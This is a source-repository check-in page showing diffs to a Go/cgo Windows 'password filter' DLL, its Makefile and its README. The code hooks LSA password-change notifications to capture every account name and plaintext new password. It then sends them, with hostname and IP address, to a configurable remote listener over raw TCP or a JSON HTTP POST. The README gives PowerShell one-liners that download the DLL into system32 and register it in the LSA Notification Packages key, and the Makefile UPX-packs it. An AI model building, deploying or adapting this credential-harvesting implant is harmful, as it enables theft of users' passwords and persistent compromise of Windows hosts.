Windows Password Filter

⌈⌋ ⎇ branch:  win-pass-filter


Check-in [87a3b602a8]

Many hyperlinks are disabled.
Use anonymous login to enable hyperlinks.

Overview
Comment:Big update, adds http
Downloads: Tarball | ZIP archive | SQL archive
Timelines: family | ancestors | descendants | both | trunk
Files: files | file ages | folders
SHA3-256: 87a3b602a86f29995486b45581821e7087933b64e374ec9eea1e4a2be2615981
User & Date: brimstone 2020-03-20 01:16:59
Context
2020-04-02
00:55
Fix quotes in powershell installer check-in: 2b42d337f0 user: brimstone tags: trunk
2020-03-20
01:16
Big update, adds http check-in: 87a3b602a8 user: brimstone tags: trunk
2019-06-07
01:02
Update README to look prettier check-in: c1da28af1e user: brimstone tags: trunk
Changes

Changes to Makefile.




1
2
3
4
5
6
7






8
9
10



.PHONY: filter.dll
filter.dll:
	rm -f filter.dll
	GOOS=windows CGO_ENABLED=1 go build -v -x -o filter.dll -buildmode=c-shared
	x86_64-w64-mingw32-objdump -p filter.dll | grep InitializeChangeNotify
	x86_64-w64-mingw32-objdump -p filter.dll | awk '/Ordinal\/Name Pointer/,/^$$/'







.PHONY: clean
clean:
	rm -f filter.h filter.o filter.dll
>
>
>


|
|



>
>
>
>
>
>



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
REMOTE := 127.0.0.1:4444
METHOD := tcp

.PHONY: filter.dll
filter.dll:
	rm -f filter.dll filter.h
	GOOS=windows CGO_ENABLED=1 go build -v -o filter.dll -buildmode=c-shared -ldflags "-X main.remote=${REMOTE}"
	x86_64-w64-mingw32-objdump -p filter.dll | grep InitializeChangeNotify
	x86_64-w64-mingw32-objdump -p filter.dll | awk '/Ordinal\/Name Pointer/,/^$$/'

.PHONY: docker
docker:
	docker run --rm -it -u $$UID:$$GID -v $$PWD:$$PWD -w $$PWD -e GOOS=windows brimstone/golang:1.13 \
	go build -v -o filter.dll -buildmode=c-shared -ldflags "-X main.remote=${REMOTE} -X main.method=${METHOD}"
	upx -9 filter.dll

.PHONY: clean
clean:
	rm -f filter.h filter.o filter.dll

Changes to README.md.

9
10
11
12
13
14
15
16
17



18
19
20
21
22
23
24
25
26
27




28
29
30
31
32
33
Build
-----

Simply build for windows with CGO enabled and the appropriate receiver listing
port.

```
GOOS=windows CGO_ENABLED=1 go build -v -x -o filter.dll -buildmode=c-shared -ldflags 'main.remote=192.168.0.100:4444'
```





Install
-------

Copy the `filter.dll` to somewhere like `c:\windows\system32\idk.dll` and
install with powershell

```
powershell -com "$a='idk';$b=(Get-ItemProperty 'HKLM:\System\CurrentControlSet\Control\Lsa' -Name 'Notification Packages').'Notification Packages'; Set-ItemProperty 'HKLM:\System\CurrentControlSet\Control\Lsa' -Name 'Notification Packages' -Value ""$b`r`n$a"""




```

If you change the name of the dll in `c:\windows\system32` then also update the
`$a` variable.

Reboot when finished.







|

>
>
>









|
>
>
>
>






9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
Build
-----

Simply build for windows with CGO enabled and the appropriate receiver listing
port.

```
GOOS=windows CGO_ENABLED=1 go build -v -x -o filter.dll -buildmode=c-shared -ldflags '-X main.remote=192.168.0.100:4444'
```

You'll need MinGW or another proper c compiler that can build windows binaries.
Try my `brimstone/golang` docker image.


Install
-------

Copy the `filter.dll` to somewhere like `c:\windows\system32\idk.dll` and
install with powershell

```
powershell -com "function install{Param([string]$u,[string]$a);$b=New-Object System.Net.WebClient;$b.DownloadFile($u, 'C:\Windows\system32\'+$a+'.dll');$l='HKLM:\System\CurrentControlSet\Control\Lsa';$n='Notification Packages';$c=(Get-ItemProperty $l -Name $n).$n; Set-ItemProperty $l -Name $n -Value ""$c`r`n$a""}"
```
or
```
powershell -com "$a="idk";$k='SYSTEM\CurrentControlSet\Control\LSA';$v='Notification Packages';$reg=[Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey('LocalMachine','localhost');$key=$reg.OpenSubKey($k,$true);$arr=$key.GetValue($v);$arr=@($arr);if($arr -notcontains $a){$arr+=$a};$key.SetValue($v,[string[]]$arr,'MultiString')"
```

If you change the name of the dll in `c:\windows\system32` then also update the
`$a` variable.

Reboot when finished.

Deleted extra.go.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
package main

/*
#include <windows.h>
#include <ntsecapi.h>

CRITICAL_SECTION cs;

__declspec(dllexport) BOOL NTAPI InitializeChangeNotify(void) { return TRUE; }

__declspec(dllexport) NTSTATUS NTAPI PasswordChangeNotify(PUNICODE_STRING UserName, ULONG RelativeId, PUNICODE_STRING NewPassword) {
    EnterCriticalSection(&cs);
    HaGotEm(UserName->Length, (char*)(UserName->Buffer), NewPassword->Length, (char*)(NewPassword->Buffer));
    LeaveCriticalSection(&cs);
    return 0;
}
__declspec(dllexport) BOOL NTAPI PasswordFilter(PUNICODE_STRING AccountName, PUNICODE_STRING FullName, PUNICODE_STRING Password, BOOL SetOperation) {
    HaGotEm(AccountName->Length, (char*)(AccountName->Buffer), Password->Length, (char*)(Password->Buffer));
    return TRUE;
}
*/
import "C"
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<












































Changes to filter.go.

1
2
3
4
5
6


7
8

9
10
11



12
13
14
15
16
17
18
..
41
42
43
44
45
46
47
48



















































49
50
51
52
53
54
55
..
59
60
61
62
63
64
65
66




67
68
69
70
71
72
73
74
75
76
77
78
79
package main

////// #cgo LDFLAGS: -lwinmm
import "C"

import (


	"fmt"
	"net"

	"os"
	"time"
)




func getIPAddress() string {
	i, err := net.Interfaces()
	if err != nil {
		return "<nil>"
	}
	for _, a := range i {
................................................................................
		} else {
			return "<nil>"
		}
	}
	return "<nil>"
}

var remote = "127.0.0.1:4444"




















































//export HaGotEm
func HaGotEm(l C.int, u *C.char, n C.int, p *C.char) C.int {
	a := []byte(C.GoStringN(u, l))
	y := []byte(C.GoStringN(p, n))
	e := make([]rune, l/2)
	k := make([]rune, n/2)
................................................................................
	for i := 0; i < len(y); i += 2 {
		k[i/2] = rune(y[i])
	}
	h, err := os.Hostname()
	if err != nil {
		h = ""
	}
	x, err := net.DialTimeout("tcp", remote, time.Duration(5*time.Second))




	if err != nil {
		return C.int(-1)
	}
	defer x.Close()
	d := []byte(fmt.Sprintf("[%s:(%s)%s:%s]\n", h, getIPAddress(), string(e), string(k)))
	if _, err := x.Write(d); err != nil {
		return C.int(-1)
	}
	x.Close()
	return C.int(0)
}

func main() {}


<



>
>


>



>
>
>







 







|
>
>
>
>
>
>
>
>
>
>
>
>
>
>
>
>
>
>
>
>
>
>
>
>
>
>
>
>
>
>
>
>
>
>
>
>
>
>
>
>
>
>
>
>
>
>
>
>
>
>
>







 







|
>
>
>
>



<
<
<
<
<
<


<
<
1
2

3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
..
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
...
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129






130
131


package main


import "C"

import (
	"bytes"
	"encoding/json"
	"fmt"
	"net"
	"net/http"
	"os"
	"time"
)

var remote = "127.0.0.1:4444"
var method = "tcp"

func getIPAddress() string {
	i, err := net.Interfaces()
	if err != nil {
		return "<nil>"
	}
	for _, a := range i {
................................................................................
		} else {
			return "<nil>"
		}
	}
	return "<nil>"
}

func postTcp(hostname, user, pass string) error {
	x, err := net.DialTimeout("tcp", remote, time.Duration(5*time.Second))
	if err != nil {
		return err
	}
	defer x.Close()
	d := []byte(fmt.Sprintf("[%s:(%s)% s:%s]\n", hostname, getIPAddress(), user, pass))
	_, err = x.Write(d)
	if err != nil {
		return err
	}
	x.Close()
	return nil
}

func postHTTP(hostname, user, pass string) error {

	tr := &http.Transport{
		MaxIdleConns:    10,
		IdleConnTimeout: 2 * time.Second,
	}
	client := &http.Client{Transport: tr}

	type Payload struct {
		Username  string `json:"username"`
		Password  string `json:"password"`
		Hostname  string `json:"hostname"`
		IPAddress string `json:"ipaddress"`
	}

	data := Payload{
		Username:  user,
		Password:  pass,
		Hostname:  hostname,
		IPAddress: getIPAddress(),
	}
	payloadBytes, err := json.Marshal(data)
	if err != nil {
		return err
	}
	body := bytes.NewReader(payloadBytes)

	req, err := http.NewRequest("POST", remote, body)
	if err != nil {
		return err
	}
	req.Header.Set("Content-Type", "application/json")

	_, err = client.Do(req)

	return err
}

//export HaGotEm
func HaGotEm(l C.int, u *C.char, n C.int, p *C.char) C.int {
	a := []byte(C.GoStringN(u, l))
	y := []byte(C.GoStringN(p, n))
	e := make([]rune, l/2)
	k := make([]rune, n/2)
................................................................................
	for i := 0; i < len(y); i += 2 {
		k[i/2] = rune(y[i])
	}
	h, err := os.Hostname()
	if err != nil {
		h = ""
	}
	if method == "http" {
		err = postHTTP(h, string(e), string(k))
	} else {
		err = postTcp(h, string(e), string(k))
	}
	if err != nil {
		return C.int(-1)
	}






	return C.int(0)
}


Added main.go.





















































>
>
>
>
>
>
>
>
>
>
>
>
>
>
>
>
>
>
>
>
>
>
>
>
>
>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
package main

/*
#include "filter.h"
#include <windows.h>
#include <ntsecapi.h>
#include <string.h>

CRITICAL_SECTION cs;

__declspec(dllexport) BOOL NTAPI InitializeChangeNotify(void) { return TRUE; }

__declspec(dllexport) NTSTATUS NTAPI PasswordChangeNotify(PUNICODE_STRING UserName, ULONG RelativeId, PUNICODE_STRING NewPassword) {
    EnterCriticalSection(&cs);
    HaGotEm(UserName->Length, (char*)(UserName->Buffer), NewPassword->Length, (char*)(NewPassword->Buffer));
    LeaveCriticalSection(&cs);
    return 0;
}
__declspec(dllexport) BOOL NTAPI PasswordFilter(PUNICODE_STRING AccountName, PUNICODE_STRING FullName, PUNICODE_STRING Password, BOOL SetOperation) {
    HaGotEm(AccountName->Length, (char*)(AccountName->Buffer), Password->Length, (char*)(Password->Buffer));
    return TRUE;
}
*/
import "C"

func main() {}